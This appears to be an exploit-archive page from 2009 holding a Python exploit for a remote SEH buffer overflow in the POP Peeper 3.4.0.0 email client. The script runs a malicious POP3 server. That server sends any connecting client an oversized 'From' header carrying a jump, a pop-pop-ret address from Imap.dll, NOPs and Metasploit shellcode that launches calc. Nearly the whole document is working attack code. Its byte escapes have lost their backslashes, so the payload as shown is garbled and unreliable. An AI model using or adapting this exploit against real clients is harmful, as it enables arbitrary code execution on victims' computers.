[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : POP Peeper 3.4.0.0 (From) Remote Buffer Overflow Exploit (SEH)
# Published : 2009-03-20
# Author : His0k4
# Previous Title : Telnet-Ftp Service Server v1.x Multiple Vulnerabilities (post auth)
# Next Title : Racer 0.5.3b5 Remote Stack Buffer Overflow Exploit


#!/usr/bin/python
# [+] Bug : POP Peeper 3.4.0.0 (From) Remote Buffer Overflow Exploit (SEH)
# [+] Author : His0k4
# [+] Greetings : All friends and muslims HacKerS (DZ)

from socket import *
import struct


# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44"
"x42x30x42x50x42x30x4bx38x45x54x4ex43x4bx58x4ex37"
"x45x30x4ax47x41x30x4fx4ex4bx38x4fx44x4ax51x4bx58"
"x4fx55x42x42x41x50x4bx4ex49x44x4bx58x46x43x4bx38"
"x41x30x50x4ex41x43x42x4cx49x49x4ex4ax46x48x42x4c"
"x46x57x47x50x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"
"x46x4fx4bx33x46x55x46x52x46x50x45x47x45x4ex4bx38"
"x4fx55x46x42x41x30x4bx4ex48x46x4bx38x4ex50x4bx44"
"x4bx48x4fx55x4ex51x41x50x4bx4ex4bx38x4ex31x4bx48"
"x41x50x4bx4ex49x38x4ex45x46x52x46x30x43x4cx41x33"
"x42x4cx46x46x4bx58x42x34x42x43x45x48x42x4cx4ax47"
"x4ex30x4bx48x42x44x4ex30x4bx58x42x57x4ex51x4dx4a"
"x4bx48x4ax46x4ax30x4bx4ex49x30x4bx48x42x38x42x4b"
"x42x30x42x50x42x50x4bx38x4ax46x4ex53x4fx45x41x53"
"x48x4fx42x56x48x55x49x38x4ax4fx43x48x42x4cx4bx37"
"x42x35x4ax46x42x4fx4cx48x46x30x4fx35x4ax36x4ax39"
"x50x4fx4cx58x50x50x47x55x4fx4fx47x4ex43x46x41x56"
"x4ex36x43x36x42x50x5a")


junk = "x41"*1989

payload = "x42"*352
payload += "xEBx10x90x90" #jmp+10 (tan9iza ta3 10 mitrate :p)
payload += "x4Cx51x01x10" #Universal pop pop ret (Imap.dll)
payload += "x90"*19          #Nops chriki
payload += shellcode	      #calculatrice ta3 100 da :p


s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 110))
s.listen(1)
print "[*] Listening on [POP3] 110"
c, addr = s.accept()
print "[*] Connection accepted from: %s" % (addr[0])

c.send("+OKrn")
c.recv(512)
c.send("+OKrn")
c.recv(512)
c.send("+OKrn")
c.recv(512)
c.send("+OK 1 100rn")
c.recv(512)
c.send("+OKrn1 rootrn.rn")
c.recv(512)
c.send("+OKrn1 t00rrn.rn")
c.recv(512)
c.send("+OK 100 octetsrn")
c.send("To: "+junk+"rn.rn")
c.send("From: "+payload+"rn.rn")
c.send("Subject: "+junk+"rn.rn")
c.send("Date: todayrn.rn")
c.send("Content-Type: "+junk+"; charset=UTF-7rn.rn")

raw_input("[*] Payload sended!nPress key to quit")
c.close()
s.close()

# www.Syue.com [2009-03-20]